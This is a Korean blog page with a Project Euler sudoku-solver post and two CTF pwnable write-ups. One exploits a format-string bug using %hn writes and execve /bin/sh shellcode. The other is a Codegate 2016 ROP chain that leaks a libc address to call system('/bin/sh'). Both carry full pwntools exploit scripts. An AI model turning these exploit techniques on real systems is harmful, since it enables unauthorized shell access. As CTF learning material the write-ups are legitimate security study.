블로그 이미지
Nehoy
경기대학교 / kknock

calendar

 «  » 2025.5
일 월 화 수 목 금 토
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

Notice

Tag

2017. 4. 9. 18:13 프로그래밍/알고리즘

[프로젝트 오일러] Prob96 (스도쿠)


Sudoku.zip


 오일러 프로젝트 96번 문제(http://euler.synap.co.kr/prob_detail.php?id=96)를 풀기 위해 작성한 코드다.


 문제의 핵심은 당연하게도 스도쿠를 푸는 것이다.

 스도쿠를 풀기 위해서 사용된 알고리즘은 다음과 같다.


가. 유일 가능성을 갖는 자리를 찾고 존재 여부에 따라 다음을 실행한다.

 - 유일 가능성을 갖는 자리가 존재할 경우

   1. 해당 자리를 가능성이 있는 숫자로 확정한다.

   2. 숫자가 확정된 자리와 그에 영향을 받는 자리의 가능성을 제거한다.

   3. 다시 '가'를 실행한다.

 - 존재하지 않을 경우

   1. '나'를 실행한다.


나. 숫자가 확정되지 않은 자리가 있는지 확인한 후 존재 여부에 따라 다음을 실행한다.

 - 확정되지 않은 자리가 존재하지 않을 경우

   1. 문제가 풀린 경우이다. (End)

 - 존재할 경우

   1. '다'를 실행한다.


다. 숫자가 확정되지 않았으면서 가능성이 하나도 없는 자리를 찾는다.

라. '다'에서 찾은 자리가 있을 경우 가정 유무에 따라 다음을 실행한다.

 - 가정된 것이 없을 경우

   1. 문제가 잘못된 경우이다. (Error!)

 - 가정된 것이 있을 경우

   1. 최근에 행한 가정을 제거한다. (가정하기 전 풀이 상황으로 돌아간다.)

   2. (x, y)자리에서 n의 수를 가정했다고 할 경우, (x, y)자리의 n의 가능성을 없앤다.


마. 주어진 정보만으로는 풀이가 불가능하므로 가정을 한다.

   1. 현재 풀이 상황을 스택에 저장한다.

   2. 임의의 가능성 있는 자리를 찾는다.

   3. 해당 자리에 들어갈 수 있는 수 중 하나를 확정한다.

   4. 숫자가 확정된 자리와 그에 영향을 받는 자리의 가능성을 제거한다

바. '가'로 돌아간다.


* 유일 가능성이란 줄이나 상자에서 하나의 가능성만 갖을 경우를 의미한다.

Ex. 다음과 같은 상황에서 (9, 2)자리가 9라는 숫자로 유일 가능성을 갖는다.

[그 이유는 (9,2)자리가 (3,1)상자에서 유일하게 9의 가능성을 갖고 있기 때문이다.]


내 생각에 코드에서 개선해야 되는 부분은 2가지가 있다.

1. 한 자리에 하나의 가능성만 있는 경우를 확인하지 않았다. (현재는 가정으로 대신하고 있는거 같다.)

2. 가능성을 확인할 때 2중 for문으로 모든 자리를 확인하는게 아니라, 가능성이 변화된 부분을 중심적으로 확인하면 좋을거 같다.

저작자표시

'프로그래밍 > 알고리즘' 카테고리의 다른 글

탐욕 알고리즘  (0) 2020.01.11
완전 탐색  (0) 2020.01.11
[Baekjoon] 10610번: 30  (0) 2017.06.26
[프로젝트 오일러] Prob4, Prob5 Prob9, Prob10  (0) 2017.05.20
[프로젝트 오일러] Prob18  (0) 2017.05.20
posted by Nehoy
2017. 3. 11. 14:03 Hack/포너블

[포너블] level1

level1.zip

이 문제를 구하게된 경로를 까먹어서 어떤 대회인지 모르겠다..


일단 checksec.sh 프로그램을 이용하여 NX가 안걸려있는걸 알 수 있다.


이 프로그램은 Book Manager라는 메뉴를 실행하는데, 간단하게 설명하면 1. Insert는 책 입력, 2. List는 책 목록 열거, 3. Search는 책 검색, 4. Delete는 책 삭제의 기능을 갖는다.

(참고로 이 책 목록은 linked list를 이용하여 구현되어있다.)


하나 이상의 책이 입력되어있으면 3. Search를 이용하여 검색을 할 수 있는데, 위와 같이 FSB가 일어나는 코드가 있다.

버퍼의 크기와 입력 길이가 0x400이나 되서 부담없이 쉘코드까지 넣을 수 있는 상황이다.


문제는 조작할만한 전역변수가 없는 상황에서 ASLR이 걸려 있다는 것이다. %n을 이용하여 ret을 버퍼의 중간 부분으로 조작하기 위해서, 변동되는 버퍼의 주소에 따라 자동으로 FSB Payload를 만드는 코드가 있어야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import math
import time
 
proc = remote('localhost', 9002)
 
def recv() :
    return proc.recvrepeat(0.3)
 
def fsb_func_num(num) :
    length = len("%{0}x".format(num)) - 4
    
    temp = int(math.log10(num))
 
    num -= (length // 2) * 8
    if (length % 2) == 1 :
        num -= 8
 
    res = "%"
    if temp > int(math.log10(num)) :
        res = "%0"
    res = (res + "{0}x").format(num) + fsb_func_len(length)
    return res
def fsb_func_len(length) :
    res = "%x" * (length // 2)
    if (length % 2) == 1 :
        res += "%8x"
    return res
 
recv()
proc.sendline("1")    # insert
recv()
proc.sendline("name") # book_name
recv()
proc.sendline("1")    # book_id
 
recv()
proc.sendline("3")    # search
recv()
proc.sendline("%p")   # FSB - buffer addr
temp = proc.recvline()
 
# FSB Payload Start
buf_addr = temp[temp.find('0x') : -1]
buf_addr = int(buf_addr, 16)
 
shcode_addr = buf_addr + 0x160    # padding
ret_addr = buf_addr + 0x40c + 4   # buf_size + SFP
 
temp1 = (shcode_addr & 0x0000ffff) - 200 - 4
temp2 = ((shcode_addr & 0xffff0000) >> 16) - temp1 - 200 - 4 - 16 - 4
 
payload = "%8x"*10 + "%x"*15 + fsb_func_num(temp1) + p32(ret_addr) + "%hn" + "%8x%x" + fsb_func_num(temp2) + p32(ret_addr + 2) + "%hn"
payload += (0x160 - len(payload)) * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
recv()
proc.sendline("3")     # search
recv()
proc.sendline(payload) # FSB
recv()
 
time.sleep(1)
 
proc.sendline("ls -l level1")
print(recv())
cs

fsb_func_num은 출력해야 되는 문자 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_num(100) => %092x%8x


fsb_func_len은 먹어(?)야 하는 문자들의 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_len(len("123")) => %x%8x


buffer+0x160에 쉘코드를 넣었다.


사실 별 어려운 문제는 아니였는데 실수도 여러번 하고 해서 오래걸렸다...

저작자표시

'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
posted by Nehoy
2017. 2. 23. 11:39 Hack/포너블

[Codegate 2016] watermelon

Codegate 2016 문제 중 하나인 watermelon이다.

watermelon.zip


<프로그램 결과>

playlist를 추가하고 수정하는 프로그램이다. 3. Modify playlist로 추가하지 않은 index의 playlist를 수정할 수 있는데, 이곳이 취약점으로 발전된다.


<gdb>

3. Modify playlist 로 0번째 목록을 수정하면 위와 같은 상황이 된다.

ebp의 주소가 0xffffc3d8인데 read 함수의 매개변수로 들어가는 주소가 0xffffc3d4이다. music과 artist의 입력 길이가 220이므로 ret를 변조할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time
 
repeat_time = 0.5
 
proc = remote("localhost", 9002)
 
def recv() :
    proc.recvrepeat(repeat_time)
def recv_send(value) :
    recv()
    proc.sendline(value)
 
recv_send('hyeon')    # name
recv_send('3')        # modify
recv_send('0')        # index : 0
 
recv()
# music : AAAABBBB printf@plt - ori_ret - read@got.plt
proc.send('AAAABBBB' + p32(0x08048500) + p32(0x8049575) + p32(0x804c00c))
recv_send('b')        # artist
 
for i in range(0, 8) :
    proc.recvline()
 
# get read addr
temp = proc.recv()[:4];
read_addr = ''
for i in reversed(range(0, 4)) :
    read_addr += temp[i]
read_addr = '0x' + read_addr.encode('hex')
 
print("read addr : " + read_addr)
cs

<libc python code>

<libc python 결과>

<libc-databse libc 버전>

read함수의 got 값을 이용해서 libc버전을 구할 수 있다. 이를 이용해서 system 함수의 주소를 알아내면 된다.

리틀 엔디안을 고려하여 출력 값을 반전 시켜줘야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import time
 
repeat_time = 0.3
 
def recv(proc) :
    return proc.recvrepeat(repeat_time)
def recv_send(proc, value) :
    recv(proc)
    proc.sendline(value)
 
def func() :
    proc = remote("localhost", 9002)
 
    recv_send(proc, 'hyeon')    # name
    recv_send(proc, '3')        # modify
    recv_send(proc, '0')        # index : 0
 
    name_addr = 0x804d7a0
    # music : AAAA - BBBB - printf@plt - pop edi - read@got.plt
    recv(proc)
    proc.send('AAAA' + 'BBBB' + p32(0x8048500) + p32(0x8049a6a) + p32(0x804c00c))
    # artist : name - read@plt - leave & ret - 0(stdin) - name - 20
    recv_send(proc, p32(name_addr) + p32(0x080484f0) + p32(0x80496f7) + p32(0) + p32(name_addr) + p32(20))
    
    for i in range(0, 8) :
        proc.recvline()
 
    # check
    temp = recv(proc)[:4]
    if len(temp) < 4 :
        proc.close()
        return 1
    
    # get system addr & bin/sh addr
    read_got = ''
    for i in reversed(range(0, 4)) :
        read_got += temp[i]
    
    read_got = int('0x' + read_got.encode('hex'), 16)
    print('read_got : ' + hex(read_got))
    system_addr = read_got - 0xe4c50 + 0x3de10
    sh_addr = read_got - 0xe4c50 + 0x174055
    
    # name : AAAA - system - BBBB - bin/sh
    proc.send('AAAA' + p32(system_addr) + 'BBBB' + p32(sh_addr))
    
    time.sleep(1)        # wait to open shell
    
    proc.sendline('ls -l watermelon')
 
    print(recv(proc))
    return 0
 
while True :
    if func() == 0 :
        break
cs

<exploit python code>

<pop edi - 0x8049a6a>

맨 처음 ret를 printf@plt로 변조하여 read@got 값을 출력하고 이를 이용해서 system과 /bin/sh의 주소를 구한다. read@got는 ret로 활용할 수 없는데, 그 뒤에 있는 값을 ret로 사용해야 하는 상황이다. 따라서, pop edi를 이용해서 read@got를 edi에 넣고, ebp에 name의 주소를 넣는다.

그 다음 read를 이용해서 name의 값을 "AAAA - system - BBBB - name + 16 - sh"로 변조한다. 그러면, leave를 하면서 esp가 name으로 가게 되고 ret을 통해 system이 실행된다.


페이로드는 다음과 같다.

music & artist : AAAA - BBBB - print@plt - 0x8049a6a - read@got - name - read@plt - leave & ret -  0(stdin) - name - 20

name : AAAA - system - BBBB - /bin/sh


<exploit python 결과>

이상하게 check의 recv에서 값이 잘 넘어오지 않는다. 원인을 파악하지 못해서 일단 반복해서 실행하게 만들었다.


고정되어있는 name 변수를 ebp로 설정하는게 이 풀이의 요지다.

저작자표시

'Hack > 포너블' 카테고리의 다른 글

[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
posted by Nehoy

티스토리툴바